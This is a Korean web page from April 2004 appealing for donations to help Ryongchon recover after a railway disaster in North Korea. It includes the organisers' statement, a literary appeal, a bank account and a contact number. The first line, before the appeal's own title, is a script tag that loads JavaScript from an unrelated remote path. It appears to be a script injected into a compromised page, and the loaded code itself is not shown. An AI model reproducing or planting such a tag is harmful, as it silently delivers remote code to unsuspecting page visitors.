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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 룡천의 복구와 긴급 구호를 위한 모금운동을 제안합니다.
저희 민족문학작가회의 통일위원회와 사무처는, 23일, 통일맞이 늦봄문익환목사기념사업회와 간담회를 갖고, /'/룡천시 복구와 긴급 구호를 위한 범문화인 모임(가칭)/'/ 구성을 추진하기로 했습니다. 오는 26일 기자회견을 통해 범국민 캠페인 등의 자세한 계획을 밝힐 예정입니다.
구체적인 노력으로
‘북한 룡천의 복구와 긴급 구호를 위한 모금운동’을 벌일 것을 결의했으며,
2천만원 상당의 식량과 의료품을 비롯한 긴급 구호물품을 우선, 룡천에 보내기로 했습니다.
또한 공연과 캠페인을 통해 가두 모금과 온라인 모임을 병행하기로 했습니다.
아울러 두 단체는 조만간 만들어질 룡천역 피해 돕기운동을 위한 시민 통합단체에 적극 동참할 예정입니다.
특히 영화인회의가 참가할 것으로 예상되어, 폭넓은 활동이 기대됩니다.
공동으로 모금운동을 제안하는 호소문을 마련했고, 이 호소문을 각 언론사에 띄웠습니다. 아래는 모금운동 제안 호소문입니다.
■ 모금운동 제안 호소문
룡천의 모든 생명체들을 위하여
- 룡천의 복구와 긴급 구호를 위한 모금운동을 제안한다!
슬프다. 어제, 인간이 사는 마을 하나가 지상에서 사라져버렸다. 103년 전에 함석헌 선생을 빚어낸 땅이 허공에 흩어지고, 99년 전 /'/아리랑/'/ 의 김산을 탄생시킨 도시가 폐허가 된 것이다.
언론의 보도에 의하면 룡천역을 중심으로 반경 500미터 이내의 모든 구축물이 완파됐다고 한다. 그 안에는 병원과 초등학교 외에도 4,5층 규모의 아파트들이 있었다. 이 밤 살아남은 아이들은 울부짖을 것이다.
이 엄청난 사고 앞에서도 우리는 망설이고 있어야 하는가? 춥지 않고, 배고프지 않고, 무섭지 않으려고 만들어낸 문명의 관리를 잘못하여 사고를 당하는 건 오늘날 지구촌의 모든 나라들이 겪는 불행 중 하나이다.
중요한 것은 사고가 일어난 곳이 겨레의 터전이며 안타깝게도 우리의 손길이 미치기 어려운 북쪽이라는 점이다.
그렇다. 인간과 대지는 달팽이와 달팽이의 껍질처럼 결속되어 있다. 한 줌의 흙에도 우리의 육체를 조각한 자연의 진실이 숨어 있다. 변덕스런 기후와 극심한 추위와 건조한 토양이 형성시킨 피부색과 광대뼈와 짧은 목, 납작한 코……. 우리의 신체에 기록된 이 지울 수 없는 대지의 그림자야말로 유일한 확실성이 아닐 수 없다.
우리의 슬픈 현대사는 그 위에 얹혀 있는 짧은 갈등의 시간들에 지나지 않는다. 이웃의 불행을 아파하고 돕는 것이 우리 민족의 아름다운 미덕이었다. 누구보다도 먼저 종족적으로 또 문화적으로 동일한 사람들이 연대하여 인도주의의 모범을 보여야만 한다.
1977년 이리 역에서 참사한 영혼들을 추모하는 마음으로, 2003년 대구 지하철의 희생자들을 위로하는 마음으로 땅 위의 모든 사람들에게 호소하자. 지금 마을을 잃은 사람들을 위해 작은 정성을 모아줄 것을.
2004년 4월 23일 밤
(사)민족문학작가회의
(사)통일맞이 늦봄문익환목사기념사업회
*저희 ㈔민족문학작가회의의 모금운동
계좌는 <우리은행 077-281906-13-019(예금주-민족문학작가회의)>입니다.
정성의 액수는 자유입니다.
회원 여러분의 많은 동참을 부탁드립니다.
북한동포들이 하루 빨리 재난을 극복하기를 기원합니다.
문의) 주말-민족문학작가회의 사무국장 김종광 011-264-5485, 평일-사무처
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